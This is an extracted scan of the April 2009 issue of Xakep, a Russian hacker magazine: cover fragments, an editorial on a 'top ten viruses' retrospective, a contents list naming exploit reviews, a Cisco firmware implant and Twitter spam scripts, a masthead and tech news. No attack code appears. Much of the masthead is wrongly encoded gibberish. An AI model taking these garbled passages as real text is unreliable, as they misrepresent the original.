05.11.2014 Views

ЛУЧШИХ ВИРУСОВ - Xakep Online

ЛУЧШИХ ВИРУСОВ - Xakep Online

ЛУЧШИХ ВИРУСОВ - Xakep Online

SHOW MORE
SHOW LESS

You also want an ePaper? Increase the reach of your titles

YUMPU automatically turns print PDFs into web optimized ePapers that Google loves.

ПОЛНЫЙ АНАЛИЗ ПРИВАТНЫХ БАГОВ WORDPRESS СТР. 52<br />

x 04(АПРЕЛЬ)2009 10 ЛУЧШИХ ВИРУСОВ/ ИСТОРИЯ ЗЛА 1999-2009<br />

124<br />

АПРЕЛЬ 04 (124) 2009<br />

ДЕНЬ ГЕЙМЕРА<br />

WWW.GAMER-CITY.RU<br />

СТР. 4<br />

Melissa<br />

PC27 adaptor<br />

7<br />

1<br />

Sasser<br />

Sony rootkit<br />

НАВИГАЦИЯ<br />

БЕЗ GPS<br />

АЛЬТЕРНАТИВНЫЕ<br />

СПОСОБЫ<br />

ОПРЕДЕЛЕНИЯ<br />

КООРДИНАТ<br />

СТР. 26<br />

Loveletter<br />

Slammer<br />

6<br />

ЖУРНАЛ ОТ КОМПЬЮТЕРНЫХ ХУЛИГАНОВ<br />

Code red<br />

J3<br />

БАЗУ ДАННЫХ<br />

НЕ СТАЩИТЬ!<br />

НОВЫЙ ПУТЬ<br />

ДЛЯ ЗАЩИТЫ<br />

ДАННЫХ В БД<br />

СТР. 32<br />

5<br />

2<br />

Warezov<br />

10<br />

Nimda<br />

Mebroot<br />

www.xakep.ru<br />

АТАКА<br />

ТВИТТЕРА<br />

КАК СПАМЯТ<br />

TWITTER<br />

СКРИПТАМИ НА<br />

PYTHON’E<br />

СТР. 88<br />

PC27<br />

ЛУЧШИХ<br />

ВИРУСОВ<br />

ИСТОРИЯ ЗЛА<br />

1999-2009<br />

СТР. 20<br />

8<br />

3<br />

Storm<br />

4<br />

9


Intro<br />

Intro<br />

Intro<br />

Intro<br />

Intro<br />

Intro<br />

В 1999 году Девиду Смиту хватило ста строк неискушенного<br />

кода, чтобы устроить мировую эпидемию,<br />

заразив Мелиссой десятки миллионов компьютеров.<br />

И хотя с тех пор все здорово поменялось, степень<br />

проникновения разнообразной малвари едва ли<br />

уменьшилась. Чего стоит хотя бы январский червь<br />

Downadup, который до сих пор наводит страх на<br />

Windows-пользователей. Что уж говорить про разношерстный<br />

приватный софт для обустройства ботнетов<br />

и отжима денег с населения развитых стран.<br />

В этом месяце мы решили вспомнить, как развивалась<br />

публичная вирусная индустрия и составили<br />

своеобразный рейтинг самых популярных малварей<br />

за последние 10 лет.<br />

nikitoz, гл. ред. Х<br />

P.S. Наши друзья-геймеры из игровых журналов<br />

Gameland решили замесить крутую акцию под кодовым<br />

названием «День Геймера». Если интересно —<br />

читай подробности на странице 4.


CONTENT<br />

04(124)<br />

Nimda<br />

004 MEGANEWS<br />

Все новое за последний месяц<br />

FERRUM<br />

016 Nовый Wi-Fi<br />

Тест Draft N Wi-Fi роутеров<br />

PC_ZONE<br />

020 10 ЗЛО-ВИРУСОВ<br />

Самая нашумевшая малварь<br />

за последние 10 лет<br />

026 НАВИГАЦИЯ БЕЗ GPS<br />

Как определить свои координаты<br />

по IP, GSM/UMTS и Wi-Fi<br />

030 КОГДА ТЫ СТАНЕШЬ СЛЕПЫМ<br />

Это только сейчас кажется,<br />

что здоровье будет всегда<br />

032 БАЗУ ДАННЫХ НЕ СТАЩИТЬ!<br />

Правильные способы защитить<br />

данные в таблицах БД<br />

ВЗЛОМ<br />

038 EASY HACK<br />

Хакерские секреты простых вещей<br />

042 ОБЗОР ЭКСПЛОЙТОВ<br />

Свежие уязвимости от Сквоза<br />

048 МЕРЯЕМ УЯЗВИМОСТИ<br />

Классификаторы и метрики<br />

компьютерных брешей<br />

052 WORDPRESS:<br />

ТЕСТ НА ПРОНИКНОВЕНИЕ<br />

Полный анализ малоизвестных<br />

уязвимостей раскрученного движка<br />

058 ИМПЛАНТАЦИЯ CISCO<br />

Модифицирование прошивки маршрутизатора<br />

064 IPHONE ТЕРМИНАТОР<br />

Создаем автоматическое средство<br />

аудита Apple iPhone<br />

070 Х-TOOLS<br />

Программы для взлома<br />

СЦЕНА<br />

072 МЕДИА-МАГНАТЫ<br />

ПРОТИВ BITTORRENT<br />

Судебный процесс по делу The Pirate Bay<br />

ЮНИКСОЙД<br />

080 ОБРЕЧЕННЫЕ НА УСПЕХ<br />

Обзор самых интересных проектов,<br />

представленных на UNIX-конференциях<br />

084 ВСТРАИВАЕМ ПИНГВИНА<br />

Учимся ставить Linux на микроконтроллеры<br />

КОДИНГ<br />

088 АТАКА НА МИСТЕРА ТВИТТЕРА<br />

Пишем скрипты для спама Twitter на Python’e<br />

094 ПИТОН ДЛЯ МАТЕРЫХ<br />

ХАРДКОРЩИКОВ<br />

Куем ассемблерные вставки<br />

в Python с помощью кошерного CorePy<br />

ФРИКИНГ<br />

098 ИНФРАКРАСНАЯ ЛЕНЬ<br />

Управлять с пульта можно<br />

не только телевизором<br />

102 ГРОМ И МОЛНИИ<br />

Эксперимент по передаче<br />

энергии на расстояние<br />

SYN/ACK<br />

106 ЗА СЕМЬЮ ПЕЧАТЯМИ<br />

Win2k8: средства и инструменты безопасности<br />

110 УЗНИК ТАЙНОЙ ТЮРЬМЫ<br />

Используем FreeBSD Jail<br />

для изолирования небезопасных сервисов<br />

115 ЗВЕЗДНОЕ ПОПУРРИ<br />

Фокусничаем с IP-PBX Asterisk<br />

ЮНИТЫ<br />

120 ДЕНЬ ЗАВИСИМОСТИ (2009, VHSRIP)<br />

Полный ][-гайд по основным аддикциям<br />

124 FAQ UNITED<br />

Большой FAQ<br />

127 ДИСКО<br />

8,5 Гб всякой всячины<br />

128 WWW2<br />

Удобные web-сервисы


Mebroot<br />

020<br />

БАЗА<br />

ДАННЫХ<br />

1C<br />

Прав<br />

доступа нет<br />

Запрос<br />

данных<br />

Возврат пустого<br />

значения<br />

БАЗА<br />

ДАННЫХ<br />

CRYPTO<br />

Возврат пустого<br />

значения<br />

026 Злоумышленник<br />

032<br />

BID<br />

048<br />

Secunia<br />

OSVDB<br />

088<br />

ISS X-Force<br />

/ÐÅÄÀÊÖÈЯ<br />

>Ãëàâíûé ðåäàêòîð<br />

Íèêèòà «nikitozz» Êèñëèöèí<br />

(nikitoz@real.xakep.ru)<br />

>Âûïóñêàþùèé ðåäàêòîð<br />

Николай«gorl»Андреев<br />

(gorlum@real.xakep.ru)<br />

>Ðåäàêòîðû ðóáðèê<br />

ÂÇËÎÌ<br />

Дмитрий«Forb» Докучаев<br />

(forb@real.xakep.ru)<br />

PC_ZONE и UNITS<br />

Степан «step» Ильин<br />

(step@real.xakep.ru)<br />

UNIXOID, SYN\ACK и PSYCHO<br />

Àíäðåé «Andrushock» Ìàòâååâ<br />

(andrushock@real.xakep.ru)<br />

ÊÎÄÈÍÃ<br />

Александр «Dr. Klouniz» Лозовский<br />

(alexander@real.xakep.ru)<br />

ФРИКИНГ<br />

Сергей «Dlinyj»Долин<br />

(dlinyj@real.xakep.ru)<br />

>Ëèòåðàòóðíûй ðåäàêòîð<br />

Дмитрий Лященко<br />

(lyashchenko@gameland.ru)<br />

/DVD<br />

>Выпускающий редактор<br />

Степан «Step» Ильин<br />

(step@real.xakep.ru)<br />

>Редактор Unix-раздела<br />

Антон «Ant» Жуков<br />

>Редактор тематических подборок<br />

Андрей Комаров<br />

(komarov@gameland.ru)<br />

>Монтаж видео<br />

Максим Трубицын<br />

/ART<br />

>Àðò-äèðåêòîð<br />

Евгений Новиков<br />

(novikov.e@gameland.ru)<br />

>Верстальщик<br />

Вера Светлых<br />

(svetlyh@gameland.ru)<br />

>Фото<br />

Иван Скориков<br />

/XAKEP.RU<br />

>Ðåäàêòîð ñàéòà<br />

Ëåîíèä Áîãîëþáîâ<br />

(xa@real.xakep.ru)<br />

/ÐÅÊËÀÌÀ<br />

/ Тел.: (495) 935-7034, факс: (495) 780-8824<br />

>Директор группы GAMES & DIGITAL<br />

Евгения Горячева (goryacheva@gameland.<br />

ru)<br />

>Менеджеры<br />

Ольга Емельянцева<br />

Мария Нестерова<br />

Мария Николаенко<br />

Марина Румянцева<br />

Максим Соболев<br />

>Администратор<br />

Мария Бушева<br />

>Директор корпоративной группы<br />

(работа с рекламными агентствами)<br />

Лидия Стрекнева (strekneva@gameland.ru)<br />

>Старший менеджер<br />

Светлана Пинчук<br />

>Менеджеры<br />

Надежда Гончарова<br />

Наталья Мистюкова<br />

>Старший трафик-менеджер<br />

Марья Алексеева (alekseeva@gameland.ru)<br />

/PUBLISHING<br />

>Èçäàòåëи<br />

Рубен Кочарян<br />

(noah@gameland.ru)<br />

>Ó÷ðåäèòåëü<br />

ÎÎÎ «Ãåéì Ëýíä»<br />

>Äèðåêòîð<br />

Äìèòðèé Àãàðóíîâ<br />

(dmitri@gameland.ru)<br />

>Óïðàâëÿþùèé äèðåêòîð<br />

Äàâèä Øîñòàê<br />

(shostak@gameland.ru)<br />

>Äèðåêòîð ïî ðàçâèòèþ<br />

Ïàøà Ðîìàíîâñêèé<br />

(romanovski@gameland.ru)<br />

>Äèðåêòîð ïî ïåðñîíàëó<br />

Ìèõàèë Ñòåïàíîâ<br />

(stepanovm@gameland.ru)<br />

>Ôèíàíñîâûé äèðåêòîð<br />

Леонова Анастасия<br />

(leonova@gameland.ru)<br />

>Редакционный директор<br />

Дмитрий Ладыженский<br />

(ladyzhenskiy@gameland.ru)<br />

>PR-менеджер<br />

Наталья Литвиновская<br />

(litvinovskaya@gameland.ru)<br />

/ÎÏÒÎÂÀЯ ÏÐÎÄÀÆÀ<br />

>Äèðåêòîð îòäåëà<br />

äèñòðèáóöèè<br />

Àíäðåé Ñòåïàíîâ<br />

(andrey@gameland.ru)<br />

>Ñâÿçü ñ ðåãèîíàìè<br />

Òàòüÿíà Êîøåëåâà<br />

(kosheleva@gameland.ru )<br />

>Подписка<br />

Марина Гончарова<br />

(goncharova@gameland.ru)<br />

òåë.: (495) 935.70.34<br />

ôàêñ: (495) 780.88.24<br />

> Ãîðячая ëèíèя ïî ïîäïèñêå<br />

òåë.: 8 (800) 200.3.999<br />

Áåñïëàòíî äëÿ çâîíÿùèõ èç Ðîññèè<br />

> Äëя писем<br />

101000, Ìîñêâà,<br />

Ãëàâïî÷òàìò, à/ÿ 652, Õàêåð<br />

Çàðåãèñòðèðîâàíî â Ìèíèñòåðñòâå<br />

Ðîññèéñêîé Ôåäåðàöèè ïî äåëàì ïå÷àòè,<br />

òåëåðàäèîâåùàíèþ è ñðåäñòâàì ìàññîâûõ<br />

êîììóíèêàöèé ÏÈ ß 77-11802 îò 14<br />

ôåâðàëÿ 2002 ã.<br />

Îòïå÷àòàíî â òèïîãðàôèè<br />

«Lietuvas Rivas», Литва.<br />

Òèðàæ 100 000 ýêçåìïëÿðîâ.<br />

Öåíà äîãîâîðíàÿ.<br />

Ìíåíèå ðåäàêöèè íå îáÿçàòåëüíî<br />

ñîâïàäàåò ñ ìíåíèåì àâòîðîâ. Ðåäàêöèÿ<br />

óâåäîìëÿåò: âñå ìàòåðèàëû â íîìåðå<br />

ïðåäîñòàâëÿþòñÿ êàê èíôîðìàöèÿ ê<br />

ðàçìûøëåíèþ. Ëèöà, èñïîëüçóþùèå<br />

äàííóþ èíôîðìàöèþ â ïðîòèâîçàêîííûõ<br />

öåëÿõ, ìîãóò áûòü ïðèâëå÷åíû ê<br />

îòâåòñòâåííîñòè. Ðåäàêöèÿ â ýòèõ ñëó÷àÿõ<br />

îòâåòñòâåííîñòè íå íåñåò.<br />

Ðåäàêöèÿ íå íåñåò îòâåòñòâåííîñòè çà<br />

ñîäåðæàíèå ðåêëàìíûõ îáúÿâëåíèé â<br />

íîìåðå. Çà ïåðåïå÷àòêó íàøèõ ìàòåðèàëîâ<br />

áåç ñïðîñà — ïðåñëåäóåì.<br />

Объединенная медиакомпания Gameland<br />

предлагает партнерам лицензии и права на<br />

использование контента журналов, дисков,<br />

сайтов и телеканала Gameland TV. По всем<br />

вопросам, связанным с лицензированием<br />

и синдицированием обращаться по адресу<br />

content@gameland.ru.


meganews<br />

PC27<br />

J3<br />

J3<br />

PC27<br />

МАРИЯ «MIFRILL» НЕФЕДОВА / MIFRILL@R EAL.XAKEP.RU /<br />

ОБО ВСЕМ ЗА ПОСЛЕДНИЙ МЕСЯЦ<br />

Новые дисплеи<br />

от Samsung<br />

Этой весной компания Samsung порадует нас новой<br />

линейкой мониторов. В 50 серию войдут девять широкоформатников<br />

с диагоналями 20’’, 21,5’’ и 23’’. Технические<br />

характеристики таковы: время отклика 2 мс для всех<br />

моделей, кроме трех мониторов с аналоговым интерфейсом,<br />

они будут немного медленнее — 5 мс; динамическая<br />

контрастность 50.000:1; яркость 300 кд/м2. Разрешение<br />

тоже порадует: 1200х900 — у трех младших моделей<br />

серии и 1920х1080 — у остальных. Благодаря технологии<br />

MagicBright3, настроить монитор под свои нужды не<br />

составит труда, — уже имеется шесть готовых профилей:<br />

«Текст», «Интернет», «Спорт», «Кино», «Игры», а также<br />

наличествует пользовательский режим. Дизайн серии<br />

отличается строгими линями, четкими углами, и даже<br />

кнопки управления выполнены в гладком сенсорном<br />

варианте. За счет сочетания угольно-черной рамки с корпусом<br />

цвета «черный гранат», 50 серия выглядит интересно<br />

и необычно. Увидеть ее своими глазами можно будет<br />

уже в апреле-мае, когда новинки доберутся до прилавков<br />

магазинов.<br />

День геймера<br />

(game)land и «Эльдорадо» дарят всем<br />

российским геймерам профессиональный<br />

праздник — День Геймера! 25 и 26 апреля<br />

в пяти магазинах «Эльдорадо» в городе<br />

Москве можно будет с размахом отметить<br />

событие — ознакомиться с игровыми новинками,<br />

принять участие в различных турнирах<br />

по хитовым играм, приобрести игровую<br />

продукцию по специальным ценам и просто<br />

отлично провести время. Все подробности<br />

на сайте www.gamer-city.ru! Не пропусти!<br />

В каждом из магазинов создана игровая<br />

зона. В демонстрационной части — новейшие<br />

проекты для РС и Xbox 360, в турнирной<br />

— поединки по самым популярным игровым<br />

дисциплинам, на сцене — зажигательные<br />

ведущий и ди-джей, которые будут поддерживать<br />

и разогревать атмосферу праздника.<br />

Помимо этого — веселые конкурсы, море<br />

призов, подарков и дружелюбная атмосфера.<br />

Приняв участие в турнире, все желающие<br />

004<br />

ПО ОФИЦИАЛЬНОЙ СТАТИСТИКЕ APPLE, IPHONE<br />

OS УЖЕ УСТАНОВЛЕНА НА 30 МИЛЛИОНАХ<br />

МОБИЛЬНЫХ УСТРОЙСТВ.<br />

становятся участниками Континентальной<br />

Лиги — на официальном сайте будут<br />

публиковаться таблицы с рейтингами лучших<br />

игроков. Стань героем своей страны! Турниры<br />

будут проводиться по следующим дисциплинам<br />

- каждый сможет найти себе достойных<br />

соперников:<br />

•F.E.A.R. 2: Project Origin(PC)<br />

•Call of Duty: World at War(PC)<br />

•GRID (PC)<br />

•Gears of War 2 (Xbox 360)<br />

•Mortal Kombat vs. DC Universe (Xbox 360)<br />

Задать вопросы о мероприятии можно на<br />

форуме www.gameland.ru в специально<br />

созданном разделе FAQ.<br />

АДРЕСА МАГАЗИНОВ<br />

ПРОВЕДЕНИЯ АКЦИИ:<br />

•ЛЮБЛИНСКАЯ УЛ., Д. 153 , ТК Л-153<br />

•РЯЗАНСКИЙ ПР. 2, ТК ГОРОД<br />

•БУТАКОВА Д.2, ТК ГРАНД<br />

•БАГРАТИОНОВСКИЙ ПРОЕЗД Д.7,<br />

ТК ГОРБУШКИН ДВОР<br />

•КИРОВОГРАДСКАЯ УЛ., Д.13, ТК КАРЕНФОР<br />

XÀÊÅÐ 04 /124/ 09


PC27<br />

>> meganews<br />

Налог<br />

на контрафакт<br />

PC27<br />

Есть на нашем голубом шарике совсем небольшое пятнышко — остров<br />

Мэн. Это местечко во всем мире известно как оффшорная зона и уникально<br />

тем, что, являясь коронным владением Великобритании, не входит<br />

ни в состав самой Великобритании, ни в состав ЕС. И хотя живет там<br />

всего 76.000 человек, эти люди довольно активно пользуются интернетом<br />

(на острове есть целых три провайдера). Разумеется, жители Мэна,<br />

как и все прогрессивное человечество, пользуются файлообменниками,<br />

пиринговыми сетями, а стало быть, качают всяческий контрафакт. И пока<br />

в других странах юзеров за это показательно судят и штрафуют, советник<br />

правительства по электронному бизнесу Рон Берри предложил совершенно<br />

иное решение — на острове введен смешной налог в размере<br />

одного фунта стерлингов, оплатить который можно даже с мобильного<br />

телефона. Из собранных с населения средств будут производиться официальные<br />

отчисления музыкантам и звукозаписывающим компаниям.<br />

Кому именно и сколько платить, помогут определить провайдеры острова,<br />

уже установившие у себя специальное оборудование, при помощи<br />

которого можно будет узнать, кто и какую конкретно музыку скачивал.<br />

Интересно, когда до подобных схем додумаются не только на Мэне?..<br />

Цветной e-ink<br />

Вот и появилось, наконец, в продаже первое устройство для чтения<br />

электронных книг с цветным дисплеем. Пионер в сфере цветных ридеров<br />

на базе электронной бумаги (что примечательно, используются не<br />

разработки компании E-ink, а собственная технология) носит имя FLEPia<br />

и стал детищем Fujitsu Frontech Limited и Fujitsu Laboratories Limited.<br />

Экран девайса с диагональю 8 " и разрешением 768х1024 способен<br />

отображать 260.000 цветов. Однако радоваться рано — при работе «на<br />

полную мощность» устройству потребуется 8 секунд для прорисовки<br />

страницы, что переходит все разумные границы. При сокращении<br />

количества цветов до 4096 жутковатая цифра уменьшается до 5 секунд, а<br />

при 64 — достигает более-менее приемлемого показателя в 1.8 секунды.<br />

Остальные характеристики тоже довольно необычны для ридеров:<br />

Windows CE5.0 ОС, тачскрин, поддержка Wi-Fi IEEE802.11b/g и Bluetooth<br />

Ver2.0+EDR, подключение к ПК через USB, поддержка SD-карт до 4 Гб.<br />

Аккумулятор, разумеется, менее «живуч» — выдерживает смену страниц<br />

2400 раз в 64-цветном режиме (для читалок в градациях серого этот<br />

показатель обычно равен 7000-9000 «перелистываний»). Цена девайса<br />

составляет $1015, и доступен он пока только в Японии. Остальным<br />

странам, традиционно, придется подождать. Притом — лучше ждать не<br />

FLEPia, а дальнейшего развития прогресса :).<br />

Русский магазин HP<br />

ИЗ-ЗА КРИЗИСА ДОЛЯ ПИРАТСКИХ<br />

DVD- И CD-ДИСКОВ В ОБЩЕМ ОБЪЕМЕ<br />

ПРОДАЖ УВЕЛИЧИЛАСЬ НА 5%.<br />

В начале марта в Москве, под<br />

крышей торгового комплекса<br />

«Горбушкин двор», открылся<br />

первый в России фирменный<br />

магазин компании HP. Выбор<br />

места вряд ли кого-то удивит,<br />

— «Горбушкин двор» один из<br />

крупнейших и наиболее посещаемых<br />

«электронных развалов»<br />

столицы.<br />

Магазин расположился в секторе<br />

«Ноутбуки», но, несмотря<br />

на это, представлены в нем не<br />

только ноуты, но и весь спектр<br />

продукции компании — от десктопов<br />

до устройств печати.<br />

Бесспорными плюсами официального<br />

магазина будут возможность<br />

приобрести товар с<br />

дополнительными гарантиями<br />

подлинности и качества, протестировать<br />

интересующие продукты<br />

или ознакомиться с «эксклюзивными»<br />

и редкими моделями,<br />

а также проконсультироваться<br />

с ведущими специалистами,<br />

получив свежую и достоверную<br />

информацию.<br />

Дирекция HP делает обнадеживающие<br />

прогнозы — если проект<br />

окажется выгоден не только<br />

с имиджевых позиций, но и<br />

коммерчески, в других крупных<br />

городах тоже появятся официальные<br />

магазины.<br />

006<br />

XÀÊÅÐ 04 /124/ 09


PC27<br />

>> meganews<br />

Аварийная<br />

кнопка от Gmail<br />

J3<br />

Сколько раз за свою жизнь,<br />

написав и отправив e-mail, ты<br />

жалел о содеянном? Все мы порой<br />

можем наговорить лишнего,<br />

банально ошибиться адресом<br />

или забыть упомянуть что-то<br />

важное... И, разумеется, осознаем<br />

это только после нажатия<br />

кнопки «Send» (закон подлости<br />

во всей красе!). Но, оказывается,<br />

от этого страдают не только<br />

юзеры, но и сами разработчики.<br />

Во всяком случае, разработчики<br />

Google точно. Ведь это их<br />

усилиями у Gmail появилась<br />

новая функция — «undo sent»,<br />

то есть «отменить отправку».<br />

Такое предложение теперь<br />

появляется после нажатия<br />

кнопки «Отправить». Система<br />

в течение 5 секунд придерживает<br />

письмо, давая нам шанс<br />

передумать. Определенно — не<br />

самая бесполезная опция,<br />

правда, 5-секундная задержка<br />

это, все же, маловато.<br />

СОГЛАСНО СТАТИСТИКЕ JIWIRE,<br />

РОССИЯ НАХОДИТСЯ НА 8 МЕСТЕ В<br />

МИРЕ ПО КОЛИЧЕСТВУ WI-FI ТОЧЕК.<br />

Халява, сэр!<br />

На дворе мировой финансовый<br />

кризис, но, похоже, британцев он<br />

мало волнует. Недавно у одного из<br />

крупнейших британских поставщиков<br />

книг для Amazon.com<br />

истекла аренда склада (видимо,<br />

«внезапно», как оно всегда бывает).<br />

Товар там лежал не слишком<br />

ходовой, и хозяева попросту<br />

от него отказались. В итоге, на<br />

руках у владельцев помещения<br />

остался огромный ангар, забитый<br />

миллионами букинистических<br />

книг, которые нужно было как-то,<br />

куда-то вывозить. Возвращать их в<br />

издательства вышло бы слишком<br />

накладно, и решено было сделать<br />

ход конем. Территорию Bristol<br />

Bookbarn объявили территорией<br />

халявы, открыв двери всем<br />

желающим. Люди приходили и<br />

приезжали к складу, чтобы покопаться<br />

в завалах и забрать столько<br />

книг, сколько смогут унести (а<br />

некоторым удавалось уносить до<br />

150 томов за раз). Склад «зачистили»<br />

на ура, книги отправились<br />

в добрые руки, и справедливость<br />

восторжествовала. Но непонятно<br />

другое — что подвигло Amazon.<br />

com на такую щедрость, и с каких<br />

пор крупнейший е-шоп разбрасывается<br />

товаром и так относится к<br />

книгам.<br />

IE 8. Релиз<br />

Компания Microsoft, наконец-то,<br />

выпустила финальную версию<br />

Internet Explorer 8. Произошло это<br />

19 марта, а уже 20-го браузер первый<br />

раз сломали :). На конференции<br />

PWN2OWN, организованной<br />

компанией 3Com, устроили соответствующий<br />

конкурс. В ходе него<br />

немец под ником Nils, используя<br />

собственный эксплойт под IE7,<br />

без проблем проник на машину с<br />

последней сборкой Windows 7 и<br />

IE8 и похитил оттуда указанный<br />

организаторами файл. На все про<br />

все у парня ушло порядка пяти<br />

минут. За взлом Nils’у торжественно<br />

вручили 5000 долларов и<br />

новенький Sony Vaio, а детальное<br />

описание хака и эксплойт отправились<br />

прямиком в Microsoft<br />

Security Research Center.<br />

В целом, новая версия браузера<br />

не несет в себе ничего революционного,<br />

хотя IE8 определенно<br />

стабильнее своих предшественников.<br />

Теперь браузер умеет<br />

закрывать отдельные зависшие<br />

вкладки (по образу и подобию<br />

Google Chrom), обладает функцией<br />

анонимного серфинга InPrivate<br />

и оснащен защитой от фишинга<br />

SmartScreen.<br />

008<br />

XÀÊÅÐ 04 /124/ 09


meganews<br />

В Пентагоне<br />

тоже любят sci-fi<br />

Кто бы мог подумать, что образное<br />

выражение «стрельба<br />

из пушки по воробьям» станет<br />

реальностью. Стрелять, правда,<br />

собираются не по воробьям, а по<br />

комарам, и пушка будет лазерная.<br />

Такая гениальная мысль<br />

пришла в голову американским<br />

ученым, во времена холодной<br />

войны работавшим над созданием<br />

лазерной ПРО. Холодная<br />

война давно миновала, ценные<br />

мощности простаивают без дела,<br />

а от них, оказывается, может быть<br />

и совсем другой прок. Установки<br />

можно переориентировать на<br />

борьбу с насекомыми — заставить<br />

сжигать полчища кровососов,<br />

внеся большой вклад в борьбу с<br />

малярией и другими болезнями,<br />

переносимыми комарами. Стоит<br />

заметить, что тут не обошлось без<br />

Билла Гейтса, который вложил в<br />

научные проекты, направленные<br />

на борьбу с малярией, миллионы,<br />

и совсем недавно пугал комарами<br />

из банки слушателей на<br />

конференции TED. Теперь пушки,<br />

стоящие вблизи городов, планируют<br />

«научить» различать писк<br />

самцов и самок комара, а также<br />

отличать его от звуков, издаваемых<br />

другими насекомыми. Все<br />

поклонники фантастики ликуют,<br />

а параноики запасают тушенку и<br />

боеприпасы.<br />

PC27<br />

Больше нетбуков,<br />

хороших и разных<br />

В ходе CeBIT 2009 компания Gigabyte Technology продемонстрировала<br />

публике ряд нетбуков, в число которых затесались любопытные модели —<br />

Touch Note M1028 и Booktop M1022. Первый нетбук интересен своим 10.1’’<br />

сенсорным экраном — что, по сути, превращает его в гибрид планшетного<br />

ПК с ноутом. Экран крепится к корпусу специальным шарниром, за счет которого<br />

может поворачиваться, и имеет разрешение 1024x600 или 1366x768<br />

точек. Производитель также сообщает, что девайс поддерживает Wi-Fi,<br />

Bluetooth и оснащен слотом для Express Card. Остальные характеристики<br />

пока не разглашаются. Вторая модель — Booktop M1022 — будет комплектоваться<br />

док-станцией, с которой нетбук сможет подзаряжаться и легким<br />

движением руки превращаться в десктоп. Подробных характеристик для<br />

этой модели тоже пока нет, известна лишь диагональ экрана — 10.1’’ и тот<br />

факт, что устройство будет поддерживать стандарт 3.5G, благодаря модулю<br />

HSDPA на борту.<br />

Киборги<br />

нашего времени<br />

Наука и прогресс пока не дошли до того,<br />

чтобы спокойно имплантировать в тело<br />

человека разные интересные штуки<br />

(кардиостимуляторы не в счет!). Ну, а раз<br />

полного «Ghost in the shell» пока не видать,<br />

приходится придумывать что-то попроще<br />

и своими силами. Финский программер<br />

Джерри Ялава после автоаварии лишился<br />

пальца на руке, но унывал недолго. Получив<br />

протез, он самостоятельно оснастил его<br />

встроенной флешкой на 2 Гб. Теперь, чтобы<br />

воспользоваться протезом не по прямому<br />

назначению, достаточно сдвинуть ноготь<br />

искусственного пальца — и можно вставлять<br />

флешку в USB-порт. На достигнутом Ялава<br />

останавливать не собирается, уже планируя<br />

версию 2.0 — со съемной фалангой и большей<br />

емкостью накопителя.<br />

010<br />

XÀÊÅÐ 04 /124/ 09


PC27<br />

>> meganews<br />

PANDA SECURITY СООБЩАЕТ: БОЛЕЕ 10 МЛН. КОМПЬЮТЕРОВ В МИРЕ<br />

ЗАРАЖЕНЫ ВРЕДОНОСНЫМ ПО, ОРИЕНТИРОВАННЫМ НА КРАЖУ<br />

ФИНАНСОВОЙ ИНФОРМАЦИИ.<br />

Ноутбук с характером<br />

суперкара<br />

IBM + SUN = ?<br />

Интересную информацию распространило издание The Wall Street Journal.<br />

Ссылаясь на конфиденциальный источник, журнал сообщил, что корпорация IBM<br />

ведет переговоры о покупке компании Sun Microsystems, пользуясь сложившимися<br />

условиями финансового кризиса. Более того, источник утверждает, что сделка может<br />

состояться совсем скоро и называет минимальную сумму, фигурирующую в переговорах<br />

— 6.5 млрд. долларов. Если информация подтвердится, то это приобретение<br />

станет крупнейшим за всю историю IBM и поможет ей укрепить свое положение на<br />

рынке в нынешнее, не слишком благополучное, время.<br />

Крупные компьютерные выставки — это всегда множество<br />

новостей и интересных новинок, и прошедшая в Ганновере<br />

CeBIT 2009 не стала исключением. Компания Asus<br />

презентовала на выставке ноутбук Asus-Lamborghini VX5, на<br />

создание которого инженеров Asus вдохновил автомобиль<br />

Lamborghini Reventon. Младшего брата шикарного авто отличает<br />

не только футуристический и оригинальный дизайн,<br />

но и очень внушительные характеристики. «Под капотом»<br />

ноутбука расположатся процессор Core2 Quad, 4 Гб ОЗУ и<br />

SSD-накопитель объемом 1 терабайт. Да-да, это не опечатка,<br />

Vx5 будет самым «вместительным» ноутбуком в мире,<br />

большего накопителя пока нет ни у кого. Прибавим к этому<br />

16’’ экран с поддержкой Full-HD, дискретную видеокарту<br />

NVIDIA GeForce GT 130M с 1 Гб GDDR3 VRAM, и оптический<br />

комбо-привод с поддержкой Blu-ray. Если тебе все еще<br />

недостаточно мощностей, то заметим, что ноутбук может<br />

работать в режиме TwinTurbo, по сути, разгоняющем ЦП и<br />

ГП. Одним словом, ценителям стильных и мощных ноутбуков<br />

эта модель настоятельно рекомендуется.<br />

Окна,<br />

но не Windows<br />

Свой вклад в приближение технического<br />

прогресса к простым людям внесла<br />

компания Phillips, представив работающий<br />

прототип окна с OLED-подсветкой.<br />

Специалисты исследовательского подразделения<br />

Phillips не один год трудились<br />

над созданием прозрачных органических<br />

светодиодов (OLED), которые<br />

можно было бы запихнуть между слоями<br />

пластика или стекла, создав обычное на<br />

первый взгляд окно, способное в темное<br />

время суток излучать свет. До появления<br />

технологии OLED это было невозможно,<br />

но сейчас дело дошло уже до работающих<br />

образцов. Теперь основные проблемы<br />

заключаются в том, что массовое производство<br />

слишком дорого, для создания<br />

готовых окон требуется «чистая комната»,<br />

да и цена готовых продуктов выходит за<br />

разумные пределы. Траблы планируют<br />

решить уже в течение ближайших лет,<br />

обеспечив человечество новым, оригинальным<br />

источником света.<br />

012<br />

ПО ДАННЫМ КОМПАНИИ SECUNIA, В FIREFOX БЫЛО<br />

ОБНАРУЖЕНО 115 УЯЗВИМОСТЕЙ, ЧТО В 4 РАЗА<br />

БОЛЬШЕ, ЧЕМ ЛЮБОМ ДРУГОМ БРАУЗЕРЕ.<br />

XÀÊÅÐ 04 /124/ 09


meganews<br />

Облава на корсаров<br />

Никто, в общем-то, не сомневался, что пираты тоже оценят новые<br />

возможности Blu-ray дисков, но в России задержали партию такого<br />

контрафакта впервые. Отличилась, конечно, Москва, где сотрудники<br />

ГУВД изъяли с двух складов более миллиона подделок, примерная<br />

стоимость которых оценивается в 100 млн. рублей. Что интересно,<br />

пираты, оказывается, используют мощности Blu-ray как-то не<br />

слишком рационально. В основном на дисках записаны «экранки»<br />

последних новинок киноиндустрии в формате DVD-видео, или вообще<br />

в .avi. Разумеется, посмотреть такие диски на Blu-ray аппаратуре<br />

не выйдет, только на компьютере. Однако розничная стоимость<br />

такого диска составляла порядка 1000 рублей, учитывая, что лицензионный<br />

Blu-ray диск стоит 1500 деревянных. Видимо, тяга к халяве<br />

и сборникам «100 в 1» в России неискоренимы.<br />

83% САЙТОВ ИМЕЮТ<br />

КРИТИЧЕСКИЕ УЯЗВИМОСТИ.<br />

Окукливаемся<br />

Тема британских ученых, кажется,<br />

никогда не будет исчерпана.<br />

